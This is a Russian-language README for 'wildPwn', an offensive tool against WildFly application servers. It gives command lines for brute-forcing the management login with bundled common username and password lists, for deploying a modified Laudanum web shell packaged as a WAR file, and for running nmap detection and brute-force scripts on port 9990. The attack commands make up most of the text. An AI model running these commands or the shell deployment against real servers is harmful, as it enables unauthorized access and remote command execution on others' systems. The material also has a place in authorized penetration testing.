wildPwn — инструмент для эксплуатации WildFly

Это инструмент для WildFly. Инструмент можно использовать для брутфорса или развертывания оболочки. wildPwn.war содержит модифицированную оболочку Laudanum. userList.txt содержит общие имена пользователей, а passList.txt — общие пароли.

Использование

Брутфорс

python wildPwn.py -m brute --target <TARGET> -user <USERNAME LIST> -pass <PASSWORD LIST> 

Развертывание оболочки

python wildPwn.py -m deploy --target <TARGET> --port <PORT> -u <USERNAME> -p <PASSWORD>

Подробности

https://artofpwn.com/wildfly-exploitation.html

Видео

Скрипты Nmap

Обнаружение

nmap --script wildfly-detect <TARGET>

Брутфорс

nmap -p 9990 --script wildfly-brute --script-args "userdb=usernameList.txt,passdb=passList.txt,hostname=domain.com" <TARGET>